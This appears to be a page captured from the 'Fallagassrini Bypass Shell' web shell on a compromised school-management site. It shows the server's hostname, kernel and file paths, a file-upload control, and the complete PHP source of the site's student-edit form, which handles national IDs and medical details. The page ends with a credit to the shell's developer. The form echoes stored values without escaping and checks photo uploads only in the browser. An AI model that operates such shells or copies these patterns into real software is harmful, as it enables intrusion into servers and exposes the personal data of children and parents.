? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec_old/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec_old/application/views/student/edit_student.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>

<script type="text/javascript">
     $(document).ready(function()
        {
            $("#bg").mouseover(function(){
            $("#bg").css("background-color","rgb(54,111,172)");
            $("#bg").css("color","#ffffff");
          });

            $("#bg").mouseout(function(){
            $("#bg").css("background-color","white");
            $("#bg").css("color","gray");
          });
        });
    function loadparentsdetails(val)
        { 

            if(val==1) 
                {

                    $('#existparent').css('display','block');
                    $('#newparent,#newparent1,#parent_box,#sub').css('display','none');
                }

       if(val==0)  
           { 

               $('#parent_id').removeClass();
                $('#newparent,#newparent1,#sub').css('display','block');
                $('#existparent,#parent_box').css('display','none');
           }


        }
    function load_parents_details()
        {
            
            var father = $('#father').val();
            var mother = $('#mother').val();
            var qatar_id = $('#father_qatar_id').val();
          
            $('#sub').css('display','block');
            document.getElementById("parent_box").style.display="block";
            $("#parent_box").empty().html('<CENTER><img src="<?=base_url()?>assets/images/loading.gif" class="loading"/></CENTER>');
            father=encodeURIComponent(father);
            mother=encodeURIComponent(mother);
            qatar_id=encodeURIComponent(qatar_id);  
             $.ajax({
                            type: "POST",
                            url: "<?=site_url()?>/student/load_parents/"+father+"/"+mother+"/"+qatar_id,
                            success: function(data) {
                                

                                $("#parent_box").html(data)

                            }});



        } 
function Checkfiles()
            {
                var fup = document.getElementById('attach_photo');
                var fileName = fup.value;
                var ext = fileName.substring(fileName.lastIndexOf('.') + 1);
                if(ext == "gif" || ext == "GIF" || ext == "JPEG" || ext == "jpeg" || ext == "jpg" || ext == "JPG" || ext =='')
                {
                    
                    addformdata1('validateform');
                }
                else
                {
                    alert("Upload Valid Image Only");
                    fup.focus();
                    return false;
                }
                
                
            }
</script>
<div class="icons_main">
   <div  class="icons">
        <img src="<?=base_url()?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('student','viewinstudentsearch','search_student','view_student','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
     <div class="icons_caption">
        <h4>Update Student Details</h4>
     </div>
</div>
<?php
$parents=$this->mastermodel->getdatas('parent','parent_id','asc','parent_id');
    $attributes=array('id'=>'validateform','class'=>'validate');
    echo form_open_multipart('student/student_add/update_student/view_student/1',$attributes);
?>
<div class="grid_6">
    <div class="box">
        <div class="header main">Personal Details </div>
        <div class="content no-padding">
             
            <div class="section _100">
                <label>Student No</label>
                <div class="single_page">
                   <?=$student->reg_no;?>
                </div>
            </div>
            
             <div class="section _100">
                 <label>First Name</label>
                <div>
                        <input name="first_name" id="first_name" class="required" value="<?=$student->first_name;?>" type="text" />
                </div>
            </div>
            <div class="section _100">
                 <label>Last Name</label>
                <div>
                        <input name="last_name" id="last_name" class="required" type="text" value="<?=$student->last_name;?>" />
                </div>
            </div>

            <div class="section _100">
                <label>Gender</label>
                <div>
                    <select name="gender" class="required chzn-done" >
                        <option value="">--Select--</option>
                        <option value="Male" <?php if($student->gender=="Male"){echo "selected";}?>>Male</option>
                        <option value="Female" <?php if($student->gender=="Female"){echo "selected";}?>>Female</option>
                    </select>
                </div>
            </div>

            <div class="section _100">
                <label>Date of Birth </label>
                <div>
                    <input id="dob" type="text" class=" calfocus required" value="<?=$this->mastermodel->convertdatenormalformat($student->dob)?>" name="dob" />
                </div>
            </div>
             <div class="section _100">
                <label>Admission Date </label>
                <div>
                    <input id="admission_date" type="text"  class="calfocus" name="admission_date" value="<?=$this->mastermodel->convertdatenormalformat($student->admission_date)?>" />
                </div>
            </div>
            <div class="section _100">
                <label>Nationality </label>
                <div>
                    <input id="nationality" type="text" class="required" name="nationality" value="<?=$student->nationality?>"/>
                </div>
            </div>
             <div class="section _100">
                <label>Email Id</label>
                <div>
                    <input id="email" type="text" class="" name="email" value="<?=$student->email?>"/>
                </div>
            </div>
             
          
        </div>
    </div>
</div>
<div class="grid_6">
        <div class="box">
            <div class="header main">Personal Details</div>
            <div class="content no-padding">
                <div class="section _100">
                    <label>School Name</label>
                    <div>
                            <input type="text" name="school_name" id="school_name" value="<?=$student->school_name;?>" />         
                    </div>
                </div>
                <div class="section _100">
                    <label>Grade</label>
                    <div>
                            <input type="text" name="grade_name" id="grade_name" value="<?=$student->grade_name;?>" />         
                    </div>
                </div>
            <div class="section _100">
                    <label>Qatar ID NO</label>
                    <div>
                            <input type="text" name="qatar_id" id="qatar_id" value="<?=$student->qatar_id?>"/>         
                    </div>
                </div>
                <div class="section _100">
                    <label>Blood Group</label>
                    <div>
                            <input type="text" name="blood_group" id="blood_group" class="" value="<?=$student->blood_group?>" />            
                    </div>
                </div>                
                <div class="section _100">
                    <label>Previous medical illness / Allergy</label>
                    <div>
                            <input type="text" name="previous_medical_illness" id="previous_medical_illness" class="" value="<?=$student->previous_medical_illness?>"/>       
                    </div>
                </div>
                 <div class="section _100">
                    <label>Address</label>
                    <div>
                            <input type="text" name="address" id="address" class="" value="<?=$student->address?>"/> 
                             
                    </div>
                </div>
                <div class="section _100">
                    <label>Change Photo</label>
                    <div>
                         <input type="file" name="attach_photo" id="attach_photo" class=""/>
                         <?php
                         if($student->photo!='')
                         {
                         ?>
                         <img width="130" height="120" src="<?=base_url()?>assets/uploads/student_photo/<?=$student->photo;?>" alt="" />
                         <?php
                         }
                         ?>
                    </div>
                </div>
            </div>
        </div>
   </div>
<div class="clear"></div>
<div class="clear"></div>
<div style="margin: 0 auto;width:50%;">
  <div class="grid_12">
        <div class="box">
         <div class="content no-padding">     
            <div class="header main">Parents Details</div>
                    <table  class="table" >                   
                   

                    <tr>
                        <th>Existing parents</th>
                        <th>New parents</th>                            
                    </tr>
                    <tr>
                        <td>
                            <input type="radio"  name="parentdiv" id="existing" value="1"   onclick="loadparentsdetails(this.value)"/>
                        </td>
                        <td>
                            <input type="radio" checked name="parentdiv" id="new" value="0" onclick="loadparentsdetails(this.value)"/>
                        </td>
                    </tr>

            </table>
                  <div   style="display: none" id="existparent">
                      <table  class="table" >          
                        <tr><th colspan="2">Search By</th></tr>
                        <tr>
                            <td style="padding: 25px 0 0 20px"> Father Name</td>
                        <td width="55%" >
                            <div style="height:10px"></div>
                            
                                <select name="father"  id="father" style="width: 305px">
                                <option value="0">All</option>
                                <?php

                                foreach($parents as $row)
                                {
                                ?>
                                    <option value="<?=$row['father_name']?>"><?=$row['father_name']?> </option>
                                <?php                            
                                }
                                ?>
                                </select>
                           
                        </td>
                        </tr>
                        <tr>
                            <td style="padding: 25px 0 0 20px">  Mother  Name</td>
                        <td width="55%">
                            <div style="height:10px"></div>
                            
                                <select name="mother"  id="mother" style="width: 305px">
                                <option value="0">All</option>
                                <?php

                                foreach($parents as $row)
                                {
                                ?>
                                    <option value="<?=$row['mother_name']?>"><?=$row['mother_name']?> </option>
                                <?php                            
                                }
                                ?>
                                </select>
                        </td>
                            
                        </tr>
                         <tr>
                            <td style="padding: 25px 0 0 20px">  Qatar ID</td>
                        <td width="55%">
                            <div style="height:10px"></div>
                            
                                <select name="father_qatar_id"  id="father_qatar_id" style="width: 305px">
                                <option value="0">All</option>
                                <?php

                                foreach($parents as $row)
                                {
                                ?>
                                    <option value="<?=$row['father_qatar_id_no']?>"><?=$row['father_qatar_id_no']?> </option>
                                <?php                            
                                }
                                ?>
                                </select>
                        </td>
                            
                        </tr>
                        <tr>
                            <td width="25%" colspan="2" align="center">
                                <input style="width: 150px;height: 30px;margin: 0 auto;"  id="bg" type="button" onclick="load_parents_details()" value="Load Parents Details" />
                            </td>
                        </tr>
                        
              </table>
            </div>
            </div>
        </div>
    </div> 
</div> 
<div class="grid_6" id="newparent" >
        <div class="box">
           <div class="header main">Parents Details</div>
            <div class="content no-padding">
                <div class="section _100">
                    <label>Father Name</label>
                    <div>
                            <input type="text" name="father_name" id="father_name" class="required" value="<?=$parent->father_name?>" />            
                    </div>
                </div>    
                 <div class="section _100">
                    <label>Qatar ID NO</label>
                    <div>
                            <input type="text" name="father_qatar_id_no" id="father_qatar_id_no" value="<?=$parent->father_qatar_id_no?>" />         
                    </div>
               </div>
               <div class="section _100">
                    <label>Occupation</label>
                    <div>
                            <input type="text" name="father_occupation" id="father_occupation" value="<?=$parent->father_occupation?>" />         
                    </div>
                </div>
                <div class="section _100">
                    <label>Mobile No</label>
                    <div>
                            <input type="text" name="father_mobile_no" id="father_mobile_no" class="" value="<?=$parent->father_mobile_no?>" />       
                    </div>
                </div>
                 <div class="section _100">
                    <label>Office No</label>
                    <div>
                            <input type="text" name="father_ofc_no" id="father_ofc_no" class="" value="<?=$parent->father_ofc_no?>" />       
                    </div>
                </div>
                <div class="section _100">
                    <label>Residence No</label>
                    <div>
                            <input type="text" name="father_residence_no" id="father_residence_no" value="<?=$parent->father_residence_no?>" />         
                    </div>
                </div>
                 <div class="section _100">
                    <label>Email ID</label>
                    <div>
                            <input type="text" name="father_email" id="father_email" value="<?=$parent->father_email?>" />         
                    </div>
                </div>
                   </div>
        </div>
   </div>
<div class="grid_6" id="newparent1" >
 <div class="box">
            <div class="header main">Parents Details</div>
            <div class="content no-padding">
                 <div class="section _100">
                    <label>Mother's name</label>
                    <div>
                            <input type="text" name="mother_name" id="mother_name" class="required" value="<?=$parent->mother_name?>" />         
                    </div>
                 </div>
               <div class="section _100">
                    <label>Qatar ID NO</label>
                    <div>
                            <input type="text" name="mother_qatar_id_no" id="mother_qatar_id_no" value="<?=$parent->mother_qatar_id_no?>" />         
                    </div>
               </div>
               <div class="section _100">
                    <label>Occupation</label>
                    <div>
                            <input type="text" name="mother_occupation" id="mother_occupation" value="<?=$parent->mother_occupation?>" />         
                    </div>
                </div>
                <div class="section _100">
                    <label>Mobile No</label>
                    <div>
                            <input type="text" name="mother_mobile_no" id="mother_mobile_no" value="<?=$parent->mother_mobile_no?>" />         
                    </div>
                </div> <div class="section _100">
                    <label>Office No</label>
                    <div>
                            <input type="text" name="mother_ofc_no" id="mother_ofc_no" value="<?=$parent->mother_ofc_no?>" />         
                    </div>
                </div>
                 <div class="section _100">
                    <label>Residence No</label>
                    <div>
                            <input type="text" name="mother_residence_no" id="mother_residence_no" value="<?=$parent->mother_residence_no?>" />         
                    </div>
                </div>
                 <div class="section _100">
                    <label>Email ID</label>
                    <div>
                            <input type="text" name="mother_email" id="mother_email" value="<?=$parent->mother_email?>" />         
                    </div>
                </div>
                <div class="section _100">
                    <label>Emergency Contact No</label>
                    <div>
                            <input type="text" name="emergency_contact_no" id="emergency_contact_no" value="<?=$parent->emergency_contact_no?>" />         
                    </div>
                </div>
                
                
            </div>
        </div>
   </div>
<div class="grid_12" >
        <div class="box">
         <div class="content no-padding">     
            <div class="header main">Sibling Details</div>
                <table class="table">
                   <tr>
                       <th>Student Id no</th>
                        <th>Student Name</th>
                                                
                        
                    </tr>
                    <?php 
                    $sibling=$this->mastermodel->get_data('parent_student',$parent->parent_id,'parent_id');
                    foreach ($sibling as $row) 
                        {
                        
                            $sibling_det=$this->mastermodel->get_data_srow('student',$row['student_id'],'student_id');
                            if(!empty($sibling_det)){
                                if($student->student_id!=$sibling_det->student_id)
                                {
                                ?>
                                <tr>
                                    <td>
                                        <?=$sibling_det->reg_no?>
                                    </td>
                                    <td >
                                        <?=$sibling_det->first_name.' '.$sibling_det->last_name?>
                                    </td>


                                </tr>
                                <?php
                                }
                            }
                        }
                            ?>
                </table>
            </div>
        </div>
    </div> 
<div id="parent_box" style="list-style: none;margin: 0 auto;"></div>
<div class="grid_12"  >
    <div class="box">
        <div class="actions">
                 <div class="actions-left">
                        <input type="reset"/>
                        <input name="student_id" id="student_id" value="<?=$student->student_id;?>" type="hidden" />
                        <input name="reg_no" id="reg_no" value="<?=$student->reg_no;?>" type="hidden" />
                        <input type="hidden" name="parent_id" id="parent_id" class="" value="<?=$parent->parent_id?>"/> 
                 </div>
                 <div class="actions-right">
                            <button type="submit" id="submit1" class="clickimage" onclick="">Save</button>
                 </div>
        </div>
    </div>
</div>
        <?php echo form_close();?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net